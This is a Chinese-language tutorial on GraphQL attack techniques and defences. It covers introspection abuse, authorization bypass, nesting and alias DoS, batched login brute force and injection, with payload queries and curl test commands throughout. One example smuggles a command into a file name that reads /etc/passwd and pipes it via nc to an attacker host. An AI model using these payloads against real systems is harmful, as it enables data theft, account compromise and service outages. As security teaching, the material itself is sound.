02-GraphQL安全

目录

• 一、GraphQL基础
• 二、内省查询利用
• 三、字段级权限绕过
• 四、深度查询DoS
• 五、批量查询攻击
• 六、GraphQL注入
• 七、安全测试方法论
• 八、红队视角总结

---

一、GraphQL基础

与传统REST的区别

	REST	GraphQL
端点	多个 (/users, /posts)	单个 (/graphql)
数据获取	服务器决定返回什么	客户端指定需要的字段
过度获取	常见	精确控制
文档	Swagger/OpenAPI	内省 (Introspection)
版本化	URL版本 /v1/	字段过期标记

查询基础

# 查询：获取用户的名字和邮箱
query {
  user(id: 1) {
    name
    email
    posts {
      title
      content
    }
  }
}
 
# 变更：更新数据
mutation {
  updateUser(id: 1, input: { name: "New Name" }) {
    id
    name
  }
}
 
# 订阅：实时数据
subscription {
  userUpdated {
    id
    name
  }
}

二、内省查询利用

什么是内省

GraphQL的内省系统允许客户端查询API的完整模式（Schema）：

# 查询所有类型
{
  __schema {
    types {
      name
      kind
      fields {
        name
        type { name kind }
      }
    }
  }
}
 
# 查询特定类型
{
  __type(name: "User") {
    name
    fields {
      name
      type { name kind }
      args { name type { name } }
    }
  }
}

利用内省发现攻击面

# 1. 发现敏感字段
# 通过内省发现：User.passwordHash, User.resetToken, User.email
 
# 2. 发现隐藏的Query/Mutation
# 内省显示：adminDeleteUser, internalGetAllData
 
# 3. 发现所有参数
# 字段参数中包含：filter, sort, limit, offset

禁止内省？绕过方法

# 如果 __schema 被禁用，尝试：
# 1. 用空格/注释绕过字符检查
{__schema{types{name}}}
 
# 2. 用别名
{ s:__schema { types { name } } }
 
# 3. 嵌套在合法查询中
query validQuery {
  user(id: 1) { name }
  __schema { types { name } }  # 额外的内省
}

三、字段级权限绕过

场景

GraphQL的权限控制需要每个字段独立检查，但很多实现只在Query级别检查权限：

# 假设：只有管理员能看用户邮箱
# 普通用户查询（权限不足）
query {
  user(id: 1) {
    name
    email     # ← 应该被拒绝
  }
}
# 预期：{ "user": { "name": "Alice", "email": null } }
# 漏洞：{ "user": { "name": "Alice", "email": "admin@company.com" } }
 
# GraphQL特性：客户端控制返回字段
# 如果服务端只在Query级别检查，而非字段级别 → 权限绕过

字段建议 (Field Suggestions)

# 输入错误的字段名，GraphQL会给出建议
query {
  user(id: 1) {
    full_name   # ← 错误字段
  }
}
 
# 响应可能泄露正确字段名：
# "Cannot query field 'full_name' on type 'User'. 
#  Did you mean 'privateEmail' or 'fullName'?"
#                                     ↑ 泄露了隐藏字段！

四、深度查询DoS

循环引用攻击

# 利用对象之间的循环引用
query DeepDoS {
  user(id: 1) {
    posts {
      author {           # ← 回到User类型
        posts {          # ← 又回到Post类型
          author {       # ← 无限循环！
            posts {
              # ... 继续嵌套
            }
          }
        }
      }
    }
  }
}

深度+n查询

# 每一层列出许多字段，导致指数级的嵌套
query DepthAttack {
  users {        # 100条
    posts {      # 每条10篇 = 1000
      comments { # 每条20评论 = 20000
        author { # 20000个作者
          posts { # 每个10篇 = 200000
            comments { # ← 爆炸！
              content
            }
          }
        }
      }
    }
  }
}

别名攻击（批量查询）

# 用别名进行批量查询
query AliasAttack {
  q1: user(id: 1) { name email }
  q2: user(id: 2) { name email }
  q3: user(id: 3) { name email }
  # ... 重复1000次
  q1000: user(id: 1000) { name email }
}
# 一次请求 = 1000次查询 → 服务器压力巨大

五、批量查询攻击

数组批量查询

# 一次查询1万个用户
query {
  users(first: 10000) {
    edges {
      node { name email phone }
    }
  }
}
 
# 即使后端限制了每页数量，仍可能被绕过：
# GET /graphql?query=query{users(first:10000){edges{node{email}}}}

Batching攻击（批量Mutation）

# 批量尝试登录（暴力破解）
mutation {
  a: login(username: "admin", password: "pass1") { token }
  b: login(username: "admin", password: "pass2") { token }
  c: login(username: "admin", password: "pass3") { token }
  # ... 一次请求发送100次登录尝试
  # 绕过了传统的速率限制（基于请求数/秒）
}

六、GraphQL注入

SQL注入 via GraphQL

# 如果参数未做安全过滤
query {
  user(id: "1 OR 1=1") {
    name
    email
  }
}
 
# 后端生成SQL：
# SELECT name, email FROM users WHERE id = '1 OR 1=1'
# → 返回所有用户！

NoSQL注入 via GraphQL

# MongoDB注入
query {
  users(filter: { "$where": "this.isAdmin == true" }) {
    name email
  }
}

OS命令注入

# 如果文件上传或命令参数未过滤
mutation {
  uploadFile(name: "profile; cat /etc/passwd | nc attacker 4444") {
    id
  }
}

七、安全测试方法论

GraphQL渗透测试流程

Phase 1: 端点发现
  /graphql
  /gql
  /query
  /api/graphql
  /v1/graphql

Phase 2: 内省利用
  { __schema { types { name fields { name } } } }
  导出 → 生成完整API图谱

Phase 3: 权限测试
  - 未认证访问敏感Query/Mutation
  - 字段级别权限绕过
  - 跨租户数据访问 (IDOR)

Phase 4: 注入测试
  - 字符串参数 → SQL / NoSQL注入
  - 数字参数 → 类型混淆 / 溢出

Phase 5: DoS测试
  - 循环引用
  - 别名批量
  - 深度嵌套

Phase 6: 业务逻辑
  - 批量伪造
  - 竞态条件

工具

工具	用途
Graphw00f	GraphQL端点指纹识别
InQL (Burp插件)	GraphQL内省和扫描
GraphQLmap	GraphQL攻击框架
clairvoyance	无法内省时的Schema推断
BatchQL	批量查询漏洞检测
graphql-cop	GraphQL安全审计

常用测试命令

# 检测端点是否支持GET
curl 'https://target.com/graphql?query={__typename}'
 
# POST内省查询
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name}}}"}'
 
# 测试批量别名
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query{a:user(id:1){name}b:user(id:2){name}}"}'

八、红队视角总结

GraphQL攻击面速查

攻击	利用的GraphQL特性	危害
内省泄露	__schema __type	完整API文档暴露
字段建议	错误消息	隐藏字段名泄露
深度嵌套	无深度限制	服务器DoS
别名批量	别名语法	绕过速率限制
循环引用	对象关联	CPU/内存耗尽
字段级权限	仅Query级检查	越权读取敏感数据
批量Mutation	一次请求多操作	暴力破解

防御速查

// 1. 生产环境关闭内省
const server = new ApolloServer({
  typeDefs,
  resolvers,
  introspection: false,        // ← 关闭内省
  playground: false,            // ← 关闭Playground
});
 
// 2. 查询深度限制
const depthLimit = require('graphql-depth-limit');
// 最大5层嵌套
 
// 3. 查询复杂度分析
const { createComplexityLimitRule } = require('graphql-validation-complexity');
// 每个查询分配成本分数
 
// 4. 别名数量限制
// 每个请求最多10个别名
 
// 5. 字段级权限
// 在Resolver中为每个字段做authZ检查

---

返回 前端基础总目录